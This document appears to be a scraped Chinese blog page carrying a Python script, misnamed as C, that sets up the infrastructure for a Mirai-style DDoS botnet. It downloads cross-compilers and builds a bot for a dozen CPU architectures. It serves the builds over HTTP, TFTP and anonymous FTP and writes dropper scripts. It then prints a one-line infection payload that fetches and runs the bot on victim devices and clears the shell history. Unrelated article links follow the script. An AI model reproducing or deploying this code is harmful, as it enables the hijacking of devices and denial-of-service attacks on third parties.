僵尸DDOS设置与部署.c

import subprocess, sys

#Made By @alphachnhk.

if len(sys.argv[2]) != 0:

ip = sys.argv[2]

else:

print("\x1b[1;95mIncorrect Usage!\x1b[0m")

exit(1)

bot = sys.argv[1]

Sakura= raw_input("\x1b[1;95mReady To Install Cross Compilers? (Press Enter): \x1b[0m")

if Sakura.lower() == "":

get_arch = True

else:

get_arch = False

#Made By @alphachnhk.

compileas = ["m-i.p-s.Sakura" ,

"m-p.s-l.Sakura" ,

"s-h.4-.Sakura",

"x-8.6-.Sakura",

"a-r.m-6.Sakura",

"x-3.2-.Sakura",

"a-r.m-7.Sakura",

"p-p.c-.Sakura",

"i-5.8-6.Sakura",

"m-6.8-k.Sakura",

"p-p.c-.Sakura",

"a-r.m-4.Sakura" ,

"a-r.m-5.Sakura"]

getarch = ['https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-mips.tar.bz2',

'https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-mipsel.tar.bz2',

'https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-sh4.tar.bz2',

'https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-x86_64.tar.bz2',

'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2',

'https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-i686.tar.bz2',

'https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-powerpc.tar.bz2',

'https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-i586.tar.bz2',

'https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-m68k.tar.bz2',

'https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-armv7l.tar.bz2',

'https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-armv4l.tar.bz2',

'https://mirailovers.io/HELL-ARCHIVE/COMPILERS/cross-compiler-armv5l.tar.bz2']

ccs = ["cross-compiler-mips",

"cross-compiler-mipsel",

"cross-compiler-sh4",

"cross-compiler-x86_64",

"cross-compiler-armv6l",

"cross-compiler-i686",

"cross-compiler-powerpc",

"cross-compiler-i586",

"cross-compiler-m68k",

"cross-compiler-armv7l",

"cross-compiler-armv4l",

"cross-compiler-armv4l",

"cross-compiler-armv5l"]

#Made By @alphachnhk.

def run(cmd):

subprocess.call(cmd, shell=True)

run("rm -rf /var/www/html/* /var/lib/tftpboot/* /var/ftp/*")

if get_arch == True:

run("rm -rf cross-compiler-*")

for arch in getarch:

run("wget " + arch + " --no-check-certificate >> /dev/null")

run("tar -xvf *tar.bz2")

run("rm -rf *tar.bz2")

#Made By @alphachnhk.

num = 0

for cc in ccs:

arch = cc.split("-")[2]

run("./"+cc+"/bin/"+arch+"-gcc -static -pthread -D" + arch.upper() + " -o " + compileas[num] + " " + bot + " > /dev/null")

num += 1

run("yum install httpd -y")

run("service httpd start")

run("yum install xinetd tftp tftp-server -y")

run("yum install vsftpd -y")

run("service vsftpd start")

#Made By @alphachnhk.

run('''echo -e "# default: off

#Made By @alphachnhk.

service tftp

{

socket_type = dgram

protocol = udp

wait = yes

user = root

server = /usr/sbin/in.tftpd

server_args = -s -c /var/lib/tftpboot

disable = no

per_source = 11

cps = 100 2

flags = IPv4

}

" > /etc/xinetd.d/tftp''')

run("service xinetd start")

#Made By @alphachnhk.

run('''echo -e "listen=YES

local_enable=NO

anonymous_enable=YES

write_enable=NO

anon_root=/var/ftp

anon_max_rate=2048000

xferlog_enable=YES

listen_address='''+ ip +'''

listen_port=21" > /etc/vsftpd/vsftpd-anon.conf''')

run("service vsftpd restart")

for i in compileas:

run("cp " + i + " /var/www/html")

run("cp " + i + " /var/ftp")

run("mv " + i + " /var/lib/tftpboot")

run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp1.sh')

run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp1.sh')

run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp1.sh')

#Made By @alphachnhk.

run('echo -e "#!/bin/bash" > /var/lib/tftpboot/tftp2.sh')

run('echo -e "ulimit -n 1024" >> /var/lib/tftpboot/tftp2.sh')

run('echo -e "cp /bin/busybox /tmp/" >> /var/lib/tftpboot/tftp2.sh')

run('echo -e "#!/bin/bash" > /var/www/html/Sakura.sh')

for i in compileas:

run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://' + ip + '/' + i + '; chmod +x ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /var/www/html/Sakura.sh')

run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' ' + i + ' ' + i + '; chmod 777 ' + i + ' ./' + i + '; rm -rf ' + i + '" >> /var/ftp/ftp1.sh')

run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp ' + ip + ' -c get ' + i + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp1.sh')

run('echo -e "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp -r ' + i + ' -g ' + ip + ';cat ' + i + ' >badbox;chmod +x *;./badbox" >> /var/lib/tftpboot/tftp2.sh')

run("service xinetd restart")

run("service httpd restart")

run('echo -e "ulimit -n 99999" >> ~/.bashrc')

#Made By @alphachnhk.

print("\x1b[1;95mPayload: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://" + ip + "/Sakura.sh; chmod 777 *; sh Sakura.sh; tftp -g " + ip + " -r tftp1.sh; chmod 777 *; sh tftp1.sh; rm -rf *.sh; history -c\x1b[0m")

相关推荐
站长朋友几秒前
什么是OCSP装订(OCSP Stapling)?它如何加速SSL握手?
网络·网络协议·ssl·ocsp装订·https握手优化·tls扩展配置·ssl证书国内节点
知北游天33 分钟前
Linux网络:初识网络
linux·运维·网络
LaoZhangGong1231 小时前
了解RJ45插座和水晶头网线
网络·tcp/ip·智能路由器·rj45
云飞云共享云桌面5 小时前
昆山精密机械公司8个Solidworks共用一台服务器
运维·服务器·网络·3d·自动化·制造
葵野寺9 小时前
【RelayMQ】基于 Java 实现轻量级消息队列(七)
java·开发语言·网络·rabbitmq·java-rabbitmq
云边云科技9 小时前
门店网络重构:告别“打补丁”,用“云网融合”重塑数字竞争力!
大数据·人工智能·安全·智能路由器·零售
树码小子11 小时前
Java网络初识(4):网络数据通信的基本流程 -- 封装
java·网络
lingggggaaaa11 小时前
小迪安全v2023学习笔记(八十一讲)—— 框架安全&ThinkPHP&Laravel&Struts2&SpringBoot&CVE复现
笔记·学习·struts·安全·网络安全·laravel
NewCarRen11 小时前
汽车EPAS ECU功能安全建模分析:Gamma框架+深度概率编程落地ISO 26262(含寿命预测案例)
安全·汽车
Amy1870211182312 小时前
中线安防保护器,也叫终端电气综合治理保护设备为现代生活筑起安全防线
人工智能·安全·智慧城市